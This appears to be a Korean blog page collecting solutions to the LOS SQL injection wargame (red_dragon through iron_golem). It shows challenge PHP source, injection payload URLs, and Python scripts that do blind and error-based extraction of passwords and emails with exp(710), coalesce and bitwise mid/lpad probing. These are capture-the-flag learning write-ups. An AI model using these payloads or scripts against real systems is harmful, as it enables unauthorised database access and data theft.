반응형

문제는 다음과 같다


<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\./i'$_GET['id'])) exit("No Hack ~_~");
  if(
strlen($_GET['id']) > 7) exit("too long string");
  
$no is_numeric($_GET['no']) ? $_GET['no'] : 1;
  
$query "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['id']) echo "<h2>Hello {$result['id']}</h2>";

  
$query "select no from prob_red_dragon where id='admin'"// if you think challenge got wrong, look column name again.
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['no'] === $_GET['no']) solve("red_dragon");
  
highlight_file(__FILE__);
?>



먼저 id와 no를 파라미터로 받을 수 있는데, id의 길이가 7을 넘으면 안된다.

따라서 최대한 짧게 했을 때 다음과 같이 쓸 수 있다.

id='||id=1#


하지만 이 또한 8글자가 되어 "too long string"이 출력된다.


이유 없이 제공되는 파라미터는 없다! no 파라미터를 노려보았다.

가장 먼저 생각해본 것은 is_numeric 함수의 취약점을 이용하여 문자열을 입력해보려하였다.


그래서 아래와 같이 시도하였다.


id=%27||&no=0x277c7c2761646d696e27


여기서 no 부분은 '||'admin'를 hex로 나타낸 것으로 내가 생각한 쿼리는 아래와 같다.


select id from prob_red_dragon where id=''||' and no='||'admin'


그 결과 admin이 출력될거라 생각하였다.

하지만.. 해당 방법으로는 풀리지 않았다.

 

그러다 이전에 개행문자를 이용한 문제가 있었던 것을 기억하여 이를 이용해보고자 하였다.

 

no 부분에는 숫자만 적을 수 있다는 생각을 바탕으로 진행하여, id 부분에 필요한 것을 다 적으려고 하였다.

 

여기서 삽질을 하다 물꼬가 틀렸다.

 

query : select id from prob_red_dragon where id=''||no>#' and no= 1

 

id 부분을 '으로 막아주고 or 문자 입력 후 no 파라미터 적은 후 = 혹은 >를 적고 no 부분에는 개행문자와 함께 숫자를 적어주었다.

 

그 결과 [ id=''||no>1 ]이 되어 admin이 출력된 것을 볼 수 있다.

이를 통해 admin의 no를 획득할 수 있다.

 

https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id='||no=%23&no=%0a586482014

 

위의 결과 Hello Admin이 출력되었으므로 admin의 no는 586482014임을 알 수 있다.

답 : https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?no=586482014

반응형

'Solve Problem > LOS' 카테고리의 다른 글

[LOS] GREEN_DRAGON 문제 풀이  (0) 2019.06.09
[LOS] EVIL_WIZARD 문제 풀이  (0) 2019.06.09
[LOS] hell_fire 문제 풀이  (0) 2019.06.09
[LOS] dark_eyes 문제풀이  (0) 2019.06.02
[LOS] iron_golem 문제풀이  (0) 2019.05.26
블로그 이미지

rootable

,
반응형

문제는 아래와 같다.


<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|\'|\"/i'$_GET[id])) exit("No Hack ~_~");
  if(
preg_match('/prob|_|\.|\'|\"/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['id']){
    if(
preg_match('/prob|_|\.|\'|\"/i'$result['id'])) exit("No Hack ~_~");
    if(
preg_match('/prob|_|\.|\'|\"/i'$result['pw'])) exit("No Hack ~_~");
    
$query2 "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo 
"<hr>query2 : <strong>{$query2}</strong><hr><br>";
    
$result mysqli_fetch_array(mysqli_query($db,$query2));
    if(
$result['id'] == "admin"solve("green_dragon");
  }
  
highlight_file(__FILE__);
?>


가장 먼저 접근한 방법은 백슬래시를 이용하여 싱글쿼터를 우회하는 방법이였다.

따라서 아래와 같이 접근하였다.



여러가지 테스트를 해봐도 분명 풀려야하는 건데 답이 나오지 않았다.

그러다 query2 부분을 보았다.


일단 답이 풀리기 위해서는 query2가 나와야하는데 해당 부분도 출력되지 않은 것을 통해 접근 방식이 틀렸음을 알 수 있었다.


그래서 아예 prob_green_dragon의 테이블에 데이터가 존재하지 않는다는 방식으로 접근해보았다.

그래서 union 기법이 필터링되어 있지 않아 union을 이용하여 id와 pw를 내가 입력한 것으로 출력되는지 보았다.


union을 이용하여 접근하였더니 query2가 출력되는 것을 볼 수 있었다.

이제 query2의 결과에서 admin만 출력되게 하면 된다.



query1에서 \를 이용하여 싱글쿼터를 우회한 방법과 union을 이용한 select 구문으로 admin이 출력되도록 하였다. 이 때 싱글쿼터는 사용할 수 없으므로 hex값을 이용하여 싱글쿼터를 우회하는 방식을 사용하였다.


1) id 부분에는 id 부분을 이어주기 위해 \만 넣어주었다.

id = \ = 0x5c


2) pw 부분에는 union을 이용하여 select admin을 해주었다.

pw = union select 0x61646d696e# = 0x20756e696f6e2073656c6563742030783631363436643639366523


이 두가지를 이용하여 정답을 써주면 문제가 solve 된다.




정답 : 

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&pw=+union+select+0x5c,0x20756e696f6e2073656c6563742030783631363436643639366523%23%23

반응형

'Solve Problem > LOS' 카테고리의 다른 글

[LOS] RED_DRAGON 문제 풀이  (0) 2019.07.16
[LOS] EVIL_WIZARD 문제 풀이  (0) 2019.06.09
[LOS] hell_fire 문제 풀이  (0) 2019.06.09
[LOS] dark_eyes 문제풀이  (0) 2019.06.02
[LOS] iron_golem 문제풀이  (0) 2019.05.26
블로그 이미지

rootable

,
반응형

이번 문제는 공짜로 얻었다 ㅋㅋ


문제를 보면 아래와 같이 hell_fire 문제와 정말 같은가?라는 문구가 있지만 나에겐 정말 같았다 ㅋㅋㅋ


 // same with hell_fire? really?


조금 분석해보니 order에 필터링 되는 함수에 sleep과 benchmark가 추가된 것으로 봐서 hell_fire는 time based로 풀었어야 하는 문제였나보다.


하지만 난 처음부터 blind 방식으로 풀었기 때문에 동일한 방법으로 풀었다.


1. 길이 : 30자

https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=(select+exp(710)+where+30=(select+length(email)+where+id=%27admin%27))


2. python 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib2
 
silnex=''
 
url="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
 
for chr_l in range(1,31):
    binary=''
    for bin_l in range(1,8):
        param="?order=(select+exp(710)+where+1=(select+mid(lpad(bin(ord(mid(email,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)+where+id='admin'))"
 
        req=urllib2.Request(url+param)
        req.add_header('cookie','PHPSESSID=6lng5klqduk4ua8hduhshbhsgf')
        if 'rubiya805' in urllib2.urlopen(req).read():
            binary+='0'
        else:
            binary+='1'
        
        print binary
 
    silnex = silnex+('%x' % int(binary, 2)).decode('hex')
    print "[+] " + silnex
 
print "[+]Flag : " + silnex
cs


3. 답

https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?email=aasup3r_secure_email@emai1.com

반응형

'Solve Problem > LOS' 카테고리의 다른 글

[LOS] RED_DRAGON 문제 풀이  (0) 2019.07.16
[LOS] GREEN_DRAGON 문제 풀이  (0) 2019.06.09
[LOS] hell_fire 문제 풀이  (0) 2019.06.09
[LOS] dark_eyes 문제풀이  (0) 2019.06.02
[LOS] iron_golem 문제풀이  (0) 2019.05.26
블로그 이미지

rootable

,
반응형

해당 문제는 order by 절에서의 SQL Injection 문제이다.


해당 문제는 이전에 공부한 적이 있어 비슷한 방식으로 접근하였다.

예전에 공부한 문서는 아래의 네오이즘 님의 블로그를 보았었다.


https://n3015m.tistory.com/173


해당 블로그를 보면 order by 절에도 sub-query를 활용할 수 있개 때문에 조건문이 참일 때 여러개의 컬럼을 출력시키면 에러가 뜨고, 조건문이 거짓일 때에는 여러개의 컬럼이 출력되지 않기 때문에 본 쿼리가 제대로 실행되는 것을 이용한 blind sql injection 이다.


나는 여기서 서브쿼리를 이용할 수 있다는 것과 조건이 참일 때에만 쿼리가 실행되지 않는다는 개념을 이용하여 문제를 풀었다.


먼저 삽질하며 몇가지 깨달은 점이 있었다.


1. mysql에도 oracle처럼 dual 이라는 테이블이 존재한다.

2. 서브쿼리에서 select 문을 적을 때에는 from 문을 적지 않았을 때 본 쿼리의 테이블에서 검색을 한다.


위의 두 가지를 이용하여 이전에 활용한 exp(710)을 이용한 error based sql injection을 활용하여 문제를 풀었다.



where 조건문이 참일 경우에는 검색 결과가 뜨지 않지만 거짓일 경우에는 검색 결과가 뜬다. 따라서 원래 blind sql injection과 반대의 개념으로 접근하면 된다.



1. email의 길이 확인 : 28자리



1) 조건문이 참일 경우 결과가 출력되지 않음


2) 조건문이 거짓일 경우 결과가 출려됨


해당 방법을 이용하여 답을 찾아보았다.


조건문에서는 1과 비교하지만 비교했을 때 검색 결과가 뜨지 않아야 조건문이 참이라는 것이므로 응답에 rubiya805가 존재할 경우에 0을 binary에 추가해준다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib2
 
silnex=''
 
url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
 
for chr_l in range(1,29):
    binary=''
    for bin_l in range(1,8):
        param="?order=(select+exp(710)+where+1=(select+mid(lpad(bin(ord(mid(email,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)+where+id='admin'))"
 
        req=urllib2.Request(url+param)
        req.add_header('cookie','PHPSESSID=6lng5klqduk4ua8hduhshbhsgf')
        if 'rubiya805' in urllib2.urlopen(req).read():
            binary+='0'
        else:
            binary+='1'
        
        print binary
 
    silnex = silnex+('%x' % int(binary, 2)).decode('hex')
    print "[+] " + silnex
 
print "[+]Flag : " + silnex
cs


정답 : https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?email=admin_secure_email@emai1.com




반응형

'Solve Problem > LOS' 카테고리의 다른 글

[LOS] GREEN_DRAGON 문제 풀이  (0) 2019.06.09
[LOS] EVIL_WIZARD 문제 풀이  (0) 2019.06.09
[LOS] dark_eyes 문제풀이  (0) 2019.06.02
[LOS] iron_golem 문제풀이  (0) 2019.05.26
[LOS] 문제풀이 11번 - 20번  (0) 2019.05.26
블로그 이미지

rootable

,
반응형

문제에 접근해보면 아래와 같이 에러가 발생했을 때 exit() 함수를 호출하는 것을 볼 수 있다.


if(mysqli_error($db)) exit();


그 결과 에러가 발생하면 화면상에 아무것도 출력되지 않는다. 따라서 이를 이용하여 Error based sql injection을 진행할 수 있다.


에러를 발생시키는 것은 이전 포스팅에서 활용한 exp(710) 을 활용하였다.

하지만 조건문에 활용할 수 있는 if문과 case 문이 필터링되어 있어 어떤 식으로 진행할까 하다가 coalesce() 함수를 활용할 수 있음을 확인하였다.



해당 함수는 여러 개의 값을 넣고 첫번째로 null이 아닌 값을 리턴하는 함수임을 알 수 있다. 따라서 첫번째 값인 부분에 SQL 쿼리를 삽입하여 where 조건문으로 조건에 맞지 않는다면 null을 리턴하도록 할 수 있다.


참고 ) https://www.w3schools.com/sql/func_mysql_coalesce.asp


아래는 해당 구문을 이용하여 pw의 길이가 8자임을 확인한 구문이다.


https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=1%27+or+id=%27admin%27+and+coalesce((select+1+where+length(pw)=8),exp(710))--+


length(pw)가 8이기 때문에 select 1이 동작하여 null이 아닌 1이 출력되었고 때문에 exp(710)이 실행되지 않아 문제 화면이 정상적으로 출력된다.



이제 길이를 확인하였으니 아래의 Python 코드를 이용하여 답을 추출해보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import urllib2
 
silnex=''
 
url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
 
for chr_l in range(1,9):
    binary=''
    for bin_l in range(1,8):
        param="?pw=1%27+or+id=%27admin%27+and+coalesce((select+1+where+1=mid(lpad(bin(ord(mid(pw,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)),exp(710))--+"
 
        req=urllib2.Request(url+param)
        req.add_header('cookie','PHPSESSID=bhurps2s2o83m5qc9cda7aa71m')
        if 'config.php' in urllib2.urlopen(req).read():
            binary+='1'
        else:
            binary+='0'
        
        print binary
 
    silnex = silnex+('%x' % int(binary, 2)).decode('hex')
    print "[+] " + silnex
 
print "[+]Flag : " + silnex
 
cs


답 : https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=5a2f5d3c

반응형

'Solve Problem > LOS' 카테고리의 다른 글

[LOS] EVIL_WIZARD 문제 풀이  (0) 2019.06.09
[LOS] hell_fire 문제 풀이  (0) 2019.06.09
[LOS] iron_golem 문제풀이  (0) 2019.05.26
[LOS] 문제풀이 11번 - 20번  (0) 2019.05.26
[LOS] 문제풀이 1번 - 10번  (0) 2019.05.10
블로그 이미지

rootable

,
반응형

문제를 보면 


if($result['id']) echo "<h2>Hello {$result[id]}</h2>"


부분이 삭제되어 있고


if(mysqli_error($db)) exit(mysqli_error($db));


부분이 들어가있음을 알 수 있다.

따라서 error based로 진행해야함을 알 수 있다.


(와 ) , _가 막혀있기 때문에 단순히 union based로 진행할 수 없으므로 error baed로 진행하였다.


어떤 함수를 사용할까 구글링하다가 exp를 이용하여 error based를 진행하는 문서를 발견하였다.

https://www.exploit-db.com/docs/english/37953-mysql-error-based-sql-injection-using-exp.pdf )


자세한 사항은 추후 공부하기로 하고 일단, exp(709)의 경우 에러가 발생하지 않지만 exp(710)을 할 경우에는 에러가 발생하는 것을 확인할 수 있었고 if문을 활용하여 해당 방법을 이용하여 pw를 뽑아보았다.


일단 길이를 확인해보았더니 68자로 떴다.


길이 : 

https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=1%27+or+id=%27admin%27+and+if(length(pw)=68,exp(709),exp(710))%23


이전 문제와 동일하게 ascii로 하면 제대로 뜨지 않고 ord로 하였을 때 10000을 넘는 값을 가지는 것을 통해 한글로 되어있음을 알고 코딩을 통해 값을 뽑아내었다.


https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=1%27+or+id=%27admin%27+and+if(ord(substr(pw,1,1))=47336,exp(709),exp(710))%23


첫번째는 '루'임을 확인


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import urllib2
 
silnex=''
 
url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
 
for chr_l in range(1,18):
    binary=''
    for bin_l in range(1,17):
        param="?pw=1%27+or+id=%27admin%27+and+if(1=mid(lpad(bin(ord(mid(pw,"+str(chr_l)+",1))),16,0),"+str(bin_l)+",1),exp(709),exp(710))%23"
 
        req=urllib2.Request(url+param)
        req.add_header('cookie','PHPSESSID=hvdn57171simgikg18kbppcan0')
        if 'DOUBLE value' in urllib2.urlopen(req).read():
            binary+='0'
        else:
            binary+='1'
        
        print binary
 
    silnex = silnex+(' %d' % int(binary,2))
    print "[+] " + silnex
 
print "[+]Flag : " + silnex
cs


해당 방식을 이용해 코드를 작성하여 ascii 코드로 값들을 뽑아내 https://www.browserling.com/tools/ascii-to-text 사이트에서 복호화하였다.


답 : https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=루비꺼야!빼애애애애애애애액!!!


참고)

error based : https://www.exploit-db.com/docs/english/37953-mysql-error-based-sql-injection-using-exp.pdf

exp 함수 : https://www.w3schools.com/sql/func_mysql_exp.asp

반응형

'Solve Problem > LOS' 카테고리의 다른 글

[LOS] hell_fire 문제 풀이  (0) 2019.06.09
[LOS] dark_eyes 문제풀이  (0) 2019.06.02
[LOS] 문제풀이 11번 - 20번  (0) 2019.05.26
[LOS] 문제풀이 1번 - 10번  (0) 2019.05.10
[LOS] 22번 문제  (0) 2018.03.02
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[LOS] 문제풀이 1번 - 10번

2019. 5. 10. 23:58

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.